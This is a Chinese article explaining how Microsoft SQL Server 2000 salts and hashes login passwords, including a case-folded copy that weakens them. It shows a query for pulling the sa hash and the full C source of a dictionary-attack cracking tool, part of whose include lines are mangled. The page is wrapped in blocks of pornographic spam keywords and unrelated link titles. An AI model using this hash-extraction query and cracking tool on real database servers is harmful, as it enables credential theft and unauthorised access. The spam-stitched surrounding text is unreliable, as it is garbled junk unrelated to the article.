精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

破解MSSQL中的HASH密碼

安全 數據安全
SQL服務器使用了一個沒有公開的函數pwdencrypt()對用戶密碼產生一個hash。通過研究我們可以發現這個hash儲存在mater數據庫的sysxlogins表里面。這個可能已經是眾所周知的事情了。

SQL服務器是怎樣儲存密碼的?

SQL服務器使用了一個沒有公開的函數pwdencrypt()對用戶密碼產生一個hash。通過研究我們可以發現這個hash儲存在mater數據庫的sysxlogins表里面。這個可能已經是眾所周知的事情了。

pwdencrypt()函數還沒有公布詳細的資料,我們這份文檔將詳細對這個函數進行討論,并將指出sql服務器儲存hash的這種方法的一些不足之處。實際上,等下我將會說‘密碼hashes’。(allyesno:后文會討論到,由于時間的關系即使當密碼相同的時候生成的hash也并不是唯一一個,所以是hashes)

SQL的密碼hash看起來是怎樣的呢?

我們使用查詢分析器,或者任何一個SQL客戶端來執行這條語句:select password from master.dbo.sysxlogins where name='sa'

屏幕會返回類似下面這行字符串的東東。0x01008D504D65431D6F8AA7AED333590D7DB1863CBFC98186BFAE06EB6B327EFA5449E6F649BA954AFF4057056D9B

這是我機子上登錄密碼的hash。

通過分析hash我們可以從中獲取pwdencrypt()的一些什么信息?

1.時間

首先我們使用查詢 select pwdencrypt() 來生成hash

select pwdencrypt('ph4nt0m')

生成hash

0x01002717D406C3CD0954EA4E909A2D8FE26B55A19C54EAC3123E8C65ACFB8F6F9415946017F7D4B8279BA19EFE77

ok再一次 select pwdencrypt('ph4nt0m')

0x0100B218215F1C57DD1CCBE3BD05479B1451CDB2DD9D1CE2B3AD8F10185C76CC44AFEB3DB854FB343F3DBB106CFB

我們注意到,雖然兩次我們加密的字符串都是ph4nt0m但是生成的hash卻不一樣。那么是什么使兩次hash的結果不一樣呢,我們大膽的推測是時間在這里面起到了關鍵的作用,它是創建密碼hashes和儲存hashes的重要因素。之所以使用這樣的方式,是因為當兩個人輸入同樣的密碼時可以以此產生不同的密碼hashes用來掩飾他們的密碼是相同的。

2.大小寫(廣告時間:英漢網絡技術詞匯這本字典好,翻譯的時候很多金山詞霸找不到的東西,它都能弄出來)

使用查詢

select pwdencrypt('ALLYESNO')

我們將得到hash

0x01004C61CD2DD04D67BD065181E1E8644ACBE3551296771E4C91D04D67BD065181E1E8644ACBE3551296
771E4C91

通過觀察,我們可以發現這段hash中有兩段是相同的,如果你不能馬上看出來,讓我們把它截斷來看。

0x0100(固定)
4C61CD2D(補充key)
D04D67BD065181E1E8644ACBE3551296771E4C91(原型hash)
D04D67BD065181E1E8644ACBE3551296771E4C91(大寫hash)

現在我們可以看出來最后兩組字符串是一模一樣的了。這說明這段密碼被相同的加密方式進行了兩次加密。一組是按照字符原型進行加密,另一組是按照字符的大寫形式進行了加密。當有人嘗試破解SQL密碼的時候將會比他預期要容易,這是一個糟糕的加密方式。因為破解密碼的人不需要理會字符原型是大寫還是小寫,他們只需要破解大寫字符就可以了。這將大大減少了破解密碼者所需要破解密碼的字符數量。(allyesno:flashsky的文章《淺談SQL SERVER數據庫口令的脆弱性》中曾經提到“如因為其算法一樣,如果HASH1=HASH2,就可以判斷口令肯定是未使用字母,只使用了數字和符號的口令”。實際上并不如flashsky所說的完全相同,我們使用了select pwdencrypt()進行加密以后就可以發現使用了數字和符號和大寫字母的密碼其hash1和hash2都會相同,所以這是flashsky文章中一個小小的bug)

#p#

補充key

根據上文所述,當時間改變的時候也會使得hash改變,在hash中有一些跟時間有關系的信息使得密碼的hashes不相同,這些信息是很容易獲取的。當我們登錄的時候依靠從登錄密碼中和數據庫中儲存的hash信息,就可以做一個比較從而分析出這部分信息,我們可以把這部分信息叫做補充key。

上文中我們獲取的hash中,補充key 4C61CD2D 就是這個信息的一部分。

這個key 4C61CD2D 由以下闡述的方法生成。

time()C 函數被調用作為一個種子傳遞給srand()函數。一旦srand()函數被作為rand()函數的種子并且被調用生成偽隨機key,srand()就會設置了一個起點產生一系列的(偽)隨機key。然后sql服務器會將這個key截斷取一部分,放置在內存里面。我們叫它key1。這個過程將會再運行一次并生成另一個key我們叫他key2。兩個key連在一起就生成了我們用來加密密碼的補充key。

密碼的散列法

用戶的密碼會被轉換成UNICODE形式。補充key會添加到他們后面。例如以下所示:{'A','L','L','Y','E','S','N','O',0x4C,0x61,0xCD,0x2D}

以上的字符串將會被sql服務器使用pwdencrypt()函數進行加密(這個函數位于advapi32.dll)。生成兩個hash

0x0100(固定)
4C61CD2D(補充key)
D04D67BD065181E1E8644ACBE3551296771E4C91(原型hash)
D04D67BD065181E1E8644ACBE3551296771E4C91(大寫hash)

驗證過程

用戶登錄SQL服務器的驗證過程是這樣子的:當用戶登陸的時候,SQL服務器在數據庫中調用上面例
子中的補充key4C61CD2D,將其附加在字符串“ALLYESNO”的后面,然后使用pwdencrypt()函數進行加密。然后把生成的hash跟數據庫內的hash進行對比,以此來驗證用戶輸入的密碼是否正確。

SQL服務器密碼破解

我們可以使用同樣的方式去破解SQL的密碼。當然我們會首先選擇使用大寫字母和符號做為字典進行破解,這比猜測小寫字母要來得容易。

一個命令行的MSSQL服務器HASH破解工具源代碼

以下是引用片段:
/////////////////////////////////////////////////////////////////////////////////
//
// SQLCrackCl
//
// This will perform a dictionary attack against the
// upper-cased hash for a password. Once this
// has been discovered try all case variant to work
// out the case sensitive password.
//
// This code was written by David Litchfield to
// demonstrate how Microsoft SQL Server 2000
// passwords can be attacked. This can be
// optimized considerably by not using the CryptoAPI.
//
// (Compile with VC++ and link with advapi32.lib
// Ensure the Platform SDK has been installed, too!)
//
//////////////////////////////////////////////////////////////////////////////////
#i nclude 
#i nclude 
#i nclude 
FILE *fd=NULL;
char *lerr = "\nLength Error!\n";
int wd=0;
int OpenPasswordFile(char *pwdfile);
int CrackPassword(char *hash);
int main(int argc, char *argv[])
{
int err = 0;
if(argc !=3)
{
printf("\n\n*** SQLCrack *** \n\n");
printf("C:\>%s hash passwd-file\n\n",argv[0]);
printf("David Litchfield (david@ngssoftware.com)\n");
printf("24th June 2002\n");
return 0;
}
err = OpenPasswordFile(argv[2]);
if(err !=0)
{
return printf("\nThere was an error opening the password file %s\n",argv[2]);
}
err = CrackPassword(argv[1]);
fclose(fd);
printf("\n\n%d",wd);
return 0;
}
int OpenPasswordFile(char *pwdfile)
{
fd = fopen(pwdfile,"r");
if(fd)
return 0;
else
return 1;
}
int CrackPassword(char *hash)
{
char phash[100]="";
char pheader[8]="";
char pkey[12]="";
char pnorm[44]="";
char pucase[44]="";
char pucfirst[8]="";
char wttf[44]="";
char uwttf[100]="";
char *wp=NULL;
char *ptr=NULL;
int cnt = 0;
int count = 0;
unsigned int key=0;
unsigned int t=0;
unsigned int address = 0;
unsigned char cmp=0;
unsigned char x=0;
HCRYPTPROV hProv=0;
HCRYPTHASH hHash;
DWORD hl=100;
unsigned char szhash[100]="";
int len=0;
if(strlen(hash) !=94)
{
return printf("\nThe password hash is too short!\n");
}
if(hash[0]==0x30 && (hash[1]== ’x’ || hash[1] == ’X’))
{
hash = hash + 2;
strncpy(pheader,hash,4);
printf("\nHeader\t\t: %s",pheader);
if(strlen(pheader)!=4)
return printf("%s",lerr);
hash = hash + 4;
strncpy(pkey,hash,8);
printf("\nRand key\t: %s",pkey);
if(strlen(pkey)!=8)
return printf("%s",lerr);
hash = hash + 8;
strncpy(pnorm,hash,40);
printf("\nNormal\t\t: %s",pnorm);
if(strlen(pnorm)!=40)
return printf("%s",lerr);
hash = hash + 40;
strncpy(pucase,hash,40);
printf("\nUpper Case\t: %s",pucase);
if(strlen(pucase)!=40)
return printf("%s",lerr);
strncpy(pucfirst,pucase,2);
sscanf(pucfirst,"%x",&cmp);
}
else
{
return printf("The password hash has an invalid format!\n");
}
printf("\n\n Trying...\n");
if(!CryptAcquireContextW(&hProv, NULL , NULL , PROV_RSA_FULL ,0))
{
if(GetLastError()==NTE_BAD_KEYSET)
{
// KeySet does not exist. So create a new keyset
if(!CryptAcquireContext(&hProv,
NULL,
NULL,
PROV_RSA_FULL,
CRYPT_NEWKEYSET ))
{
printf("FAILLLLLLL!!!");
return FALSE;
}
}
}
while(1)
{
// get a word to try from the file
ZeroMemory(wttf,44);
if(!fgets(wttf,40,fd))
return printf("\nEnd of password file. Didn’t find the password.\n");
wd++;
len = strlen(wttf);
wttf[len-1]=0x00;
ZeroMemory(uwttf,84);
// Convert the word to UNICODE
while(count < len)
{
uwttf[cnt]=wttf[count];
cnt++;
uwttf[cnt]=0x00;
count++;
cnt++;
}
len --;
wp = &uwttf;
sscanf(pkey,"%x",&key);
cnt = cnt - 2;
// Append the random stuff to the end of
// the uppercase unicode password
t = key >> 24;
x = (unsigned char) t;
uwttf[cnt]=x;
cnt++;
t = key << 8;
t = t >> 24;
x = (unsigned char) t;
uwttf[cnt]=x;
cnt++;
t = key << 16;
t = t >> 24;
x = (unsigned char) t;
uwttf[cnt]=x;
cnt++;
t = key << 24;
t = t >> 24;
x = (unsigned char) t;
uwttf[cnt]=x;
cnt++;
// Create the hash
if(!CryptCreateHash(hProv, CALG_SHA, 0 , 0, &hHash))
{
printf("Error %x during CryptCreatHash!\n", GetLastError());
return 0;
}
if(!CryptHashData(hHash, (BYTE *)uwttf, len*2+4, 0))
{
printf("Error %x during CryptHashData!\n", GetLastError());
return FALSE;
}
CryptGetHashParam(hHash,HP_HASHVAL,(byte*)szhash,&hl,0);
// Test the first byte only. Much quicker.
if(szhash[0] == cmp)
{
// If first byte matches try the rest
ptr = pucase;
cnt = 1;
while(cnt < 20)
{
ptr = ptr + 2;
strncpy(pucfirst,ptr,2);
sscanf(pucfirst,"%x",&cmp);
if(szhash[cnt]==cmp)
cnt ++;
else
{
break;
}
}
if(cnt == 20)
{
// We’ve found the password
printf("\nA MATCH!!! Password is %s\n",wttf);
return 0;
}
}
count = 0;
cnt=0;
}
return 0;
}
 
責任編輯:佚名 來源: 黑客風云
相關推薦

2010-12-03 11:43:51

2014-05-30 09:41:16

2017-02-28 19:39:48

2017-03-16 09:45:49

2013-07-05 10:04:47

2010-06-10 15:44:53

2011-12-09 10:17:07

2010-06-13 13:10:09

MySQLROOT密碼

2012-05-11 10:16:17

2013-08-12 12:36:10

2010-08-30 14:10:08

2017-09-09 15:13:10

2020-12-13 17:57:16

加密密碼Python

2015-06-23 09:22:13

2014-11-19 09:15:35

2013-05-13 11:10:31

2012-07-27 15:59:59

2018-06-29 11:11:42

2020-12-21 16:00:07

Pythonzip文件密碼

2009-12-22 16:43:28

點贊
收藏

51CTO技術棧公眾號

天天综合网天天综合| 精品国产乱码久久久久久1区2区| 91老司机在线| 国产成人综合在线视频| 1204国产成人精品视频| 亚洲精品国产无天堂网2021| 99在线影院| 日产精品久久久| 午夜精品福利影院| 欧美精品丝袜中出| 18禁网站免费无遮挡无码中文| 色av男人的天堂免费在线 | 国产精品毛片va一区二区三区| 国产一二三四在线| 成人同人动漫免费观看| 精品国产成人系列| 丁香花在线影院观看在线播放| 毛片在线播放网站| 国产不卡在线播放| 国产精品观看在线亚洲人成网| 欧美日韩黄色网| 久久av免费| 91精品国产综合久久精品图片| 毛片在线视频播放| 伊人在我在线看导航| 丁香天五香天堂综合| 国产成人久久久| 国产探花在线视频| 国产三级精品三级在线观看国产| 欧美婷婷六月丁香综合色| 野外做受又硬又粗又大视频√| 黄色片在线免费观看| 国产精品资源网| 国产精品极品美女在线观看免费| 九九热视频在线免费观看| 欧美人与物videos另类xxxxx| 欧美电影精品一区二区| 色呦色呦色精品| 超薄肉色丝袜脚交一区二区| 精品女厕一区二区三区| 国产肉体ⅹxxx137大胆| fc2ppv国产精品久久| 欧美国产一区二区| 欧美精品欧美精品| 在线免费a视频| 日本亚洲天堂网| 国内精品久久久久久久久| 天天看片中文字幕| 中文字幕乱码亚洲无线精品一区 | 中文字幕乱码在线人视频| 88xx成人永久免费观看| 欧美视频在线观看 亚洲欧| heyzo亚洲| av男人的天堂在线观看| 亚洲一区二区av电影| 日本免费成人网| 免费在线国产视频| 亚洲成人av福利| 18禁裸男晨勃露j毛免费观看| 欧美性video| 亚洲一区二区三区免费视频| 欧美中日韩在线| 日本在线免费网| 99国产欧美另类久久久精品| 精品蜜桃一区二区三区| 蜜桃av噜噜一区二区三区麻豆| 噜噜噜久久亚洲精品国产品小说| 亚洲新中文字幕| 自拍偷拍视频亚洲| 成人综合一区| 久久久精品一区二区三区| xxxx日本黄色| 国产一区二区三区四区五区传媒| 一本大道久久加勒比香蕉| 九九九视频在线观看| 精品视频久久| 久久国内精品一国内精品| 九九视频在线观看| 国内激情久久| 日韩免费观看视频| www.伊人久久| 久久久久99| 成人国产精品色哟哟| 99精品人妻无码专区在线视频区| 国产馆精品极品| 久久久久久久久久久一区| 国产在线一在线二| 亚洲免费观看在线观看| 超碰97在线看| 国产后进白嫩翘臀在线观看视频 | 曰批又黄又爽免费视频| 国产一区在线看| 97av影视网在线观看| 天堂资源中文在线| 久久久一区二区三区| 自拍另类欧美| 英国三级经典在线观看| 欧美日韩一区成人| 亚洲一区二区三区黄色| 妖精一区二区三区精品视频| 久久亚洲私人国产精品va| 青青操免费在线视频| 另类中文字幕网| 国产麻豆乱码精品一区二区三区 | 国产欧美日韩三级| 久久天天东北熟女毛茸茸| 一区二区三区四区日本视频| 欧美一区二区人人喊爽| 9.1成人看片免费版| 欧美a级片网站| 久久久这里只有精品视频| 国产成人一级片| 国产不卡高清在线观看视频| 日日夜夜精品网站| 婷婷在线视频观看| 亚洲成人tv网| 99国产精品免费视频| av中文字幕一区二区| 美女爽到高潮91| 欧美女孩性生活视频| 香港三日本8a三级少妇三级99| 久久一区二区三区电影| 97超级碰碰人国产在线观看| 国产免费黄色大片| 中文字幕精品综合| 免费一区视频| 99r国产精品视频| wwwxxx亚洲| 99视频+国产日韩欧美| 国产精品久久久久久久电影| 婷婷伊人综合中文字幕| 一区二区在线观看不卡| 91亚洲精品久久久蜜桃借种| 国产不卡一区| 欧美专区国产专区| 4438x亚洲最大成人网| 中文字幕视频三区| 成人影院在线| 97超碰国产精品女人人人爽| 国产精品自拍99| 亚洲免费观看| 91久久精品国产91久久性色tv | 成人免费图片免费观看| 欧美日韩一区二区在线视频| 在线免费观看麻豆| 中文久久精品| 久久久av水蜜桃| 麻豆网站免费在线观看| 亚洲黄一区二区| 日韩精品――中文字幕| 欧美日韩中文视频| 亚洲精品aaaaa| 欧美劲爆第一页| av网站在线免费看| 国模大尺度一区二区三区| 麻豆av一区| 超碰porn在线| 在线观看av一区二区| 国产精品久久久久久亚洲色| 三级视频在线| 一区二区三区欧美亚洲| 国产又猛又黄的视频| 永久免费精品视频| 亚洲精品99999| 一本一道无码中文字幕精品热| 26uuu亚洲| 一级在线免费视频| 91久久高清国语自产拍| caoporn国产精品免费公开| 欧美人与性动交α欧美精品济南到 | 日韩精品一区二区三区swag| 免费cad大片在线观看| 稀缺小u女呦精品呦| 欧美成人69| 国产精品av网站| 在线观看免费黄色| 欧美一区日韩一区| 亚洲视频 中文字幕| 最新国产乱人伦偷精品免费网站| www.日韩不卡电影av| 99热这里只有精品66| 一区二区三区欧美久久| 亚洲精品高清视频| 成人欧美一区二区三区的电影| 日韩午夜激情免费电影| 苍井空张开腿实干12次| 久久久精品日韩| 2021狠狠干| 小嫩嫩12欧美| 成人免费xxxxx在线观看| 大黄网站在线观看| 亚洲新声在线观看| 久久精品久久久久久国产 免费| 欧美激情一区二区视频| 成人一区二区三区| 国产v亚洲v天堂无码久久久 | 亚洲系列在线观看| 国产毛片一区二区| 黄色一级视频播放| 国产精品高潮呻吟久久久久| 777777777亚洲妇女| porn亚洲| 偷拍亚洲欧洲综合| 蜜臀久久99精品久久久久久| 国内精品国产三级国产a久久| 91好吊色国产欧美日韩在线| 91麻豆国产自产在线观看亚洲| 国产91视觉| 欧美性生活一级| 欧美在线一级视频| 天堂va在线| 日韩综合视频在线观看| 日韩a在线观看| 日本a一级在线免费播放| 亚洲色图20p| 欧美 变态 另类 人妖| 久久99热国产| 无遮挡亚洲一区| sese一区| 亚洲欧美激情视频| 黄色一区二区视频| 夜夜嗨av一区二区三区中文字幕| 蜜乳av中文字幕| 大白屁股一区二区视频| 777一区二区| 欧美久久99| 日韩中文字幕一区| 偷拍自拍在线看| 欧美日韩国产二区| 黄色在线免费网站| 国产亚洲综合久久| 欧美性孕妇孕交| 亚洲精品一区二区三区99| 91久久精品无码一区二区| 在线一区二区三区四区五区| 国产欧美一区二区三区在线看蜜臂| 亚洲精品成a人| 日韩精品一区二区三区视频播放 | 精品久久久网站| 国产成人在线播放视频| 亚洲综合成人在线视频| 国产性猛交96| 午夜国产精品视频免费体验区| 亚洲黄色一区二区三区| 中文在线中文资源| 91高潮精品免费porn| 麻豆视频在线播放| 久久精品成人欧美大片古装| 国产精品久久久久久免费免熟 | 亚洲乱码日产精品bd| 久久国产波多野结衣| 亚洲天堂成人在线观看| 亚洲一二三在线观看| 99热这里只有精品在线| 欧美日韩中文字幕综合视频 | 午夜18视频在线观看| 亚洲第五色综合网| 成人av手机在线| 国产精品影视在线观看| 免费黄视频在线观看| 久久成人麻豆午夜电影| 日批视频在线免费看| 波多野结衣在线观看一区二区三区| 欧美一级日本a级v片| 不卡av一区二区| 四虎精品欧美一区二区免费| а√天堂资源国产精品| 欧美黄色片在线观看| 国产高清自产拍av在线| 日本91av在线播放| 精品久久毛片| 51国偷自产一区二区三区| 国产精品chinese在线观看| 久久久影院一区二区三区| 国内精品久久久久久久影视简单| 亚洲一卡二卡三卡| 欧美国产综合| 国产中文字幕视频在线观看| 秋霞av亚洲一区二区三| 97人人干人人| 国产乱国产乱老熟| 亚洲美女淫视频| 在线免费观看成年人视频| 成人综合在线网站| 999精彩视频| 国产乱码精品一区二区三区av | 自拍偷拍亚洲| 国产v亚洲v天堂无码| 国产精品高清乱码在线观看 | 欧美男男freegayvideosroom| 女女同性女同一区二区三区91| 久久一级电影| 亚洲熟妇av一区二区三区漫画| 日本aⅴ亚洲精品中文乱码| 国产成人精品一区二区三区在线观看| 91免费看片在线观看| 成人涩涩小片视频日本| 欧美日韩美女在线观看| 国产精品无码一区二区桃花视频| 亚洲第一视频网站| 日本a在线播放| 国产精品正在播放| 99久久精品无码一区二区毛片| www.51av欧美视频| 欧美性受xxxx白人性爽| 久久福利在线| 久久香蕉综合色| 亚洲成人最新网站| 欧美综合在线播放| 国产一区二区三区四区三区四 | 国产精品91一区二区三区| 男人天堂a在线| 精品在线亚洲视频| av电影在线播放| 激情图区综合网| 蜜桃传媒一区二区亚洲av| 亚洲欧美日韩一区二区 | 69av一区二区三区| 国产三级视频在线看| 97视频在线观看免费| 免费看日产一区二区三区| 亚洲不卡一卡2卡三卡4卡5卡精品| 欧美精品福利| 亚洲制服中文字幕| 国产精品毛片无遮挡高清| 成人av一级片| 性欧美又大又长又硬| 国产97在线|亚洲| 青青草免费在线| 久久综合九色九九| 亚洲按摩av| 成人免费淫片视频软件| 狠狠色狠狠色综合婷婷tag| 777精品久无码人妻蜜桃| 久久66热偷产精品| 日韩av片网站| 日韩av电影免费观看高清完整版| 97超碰成人在线| 久久久久久9999| 香蕉视频污视频| 亚洲成年人影院| 精品国产黄色片| 一区国产精品视频| 麻豆传媒在线免费| 成人有码在线播放| 亚洲欧美在线专区| 天天爽夜夜爽视频| 亚洲六月丁香色婷婷综合久久| 国产乱人乱偷精品视频a人人澡| 日韩小视频网址| www一区二区三区| 六月婷婷激情网| 国产91精品入口| 日韩欧美亚洲视频| 亚洲精品久久久久久久久| 日本乱码一区二区三区不卡| 欧美最猛性xxxx| 欧美黄色免费在线观看| 久久综合色鬼综合色| 日本少妇全体裸体洗澡| 色综合色狠狠天天综合色| 亚洲欧洲综合在线| 欧美成人全部免费| a'aaa级片在线观看| 精品久久精品久久| 一区二区激情| 三级在线免费观看| 国产精品综合二区| 黑鬼狂亚洲人videos| 欧美日韩久久久| 成人在线免费看黄| aa成人免费视频| 激情综合自拍| 国产激情在线免费观看| 色成年激情久久综合| 免费观看成年在线视频网站| 国产精品最新在线观看| 国产成人精品三级高清久久91| 久久精品免费网站| 综合在线观看色| 亚洲精品911| 日本一欧美一欧美一亚洲视频| 第一会所亚洲原创| 国产一精品一aⅴ一免费| 一本大道综合伊人精品热热| 中文字幕免费观看视频| 亚洲成人免费在线视频| 黄瓜视频成人app免费| 三年中国中文在线观看免费播放| 国产69精品久久久久毛片| 国产精品久久久久久久av福利| 欧美伦理在线视频| 欧美丰满熟妇xxxxx| 日韩美女啊v在线免费观看| 女人18毛片水真多18精品| 欧美亚洲视频在线看网址| 日韩一区二区在线| 国产人妖在线观看| 亚洲精品伦理在线| 亚洲无码精品一区二区三区|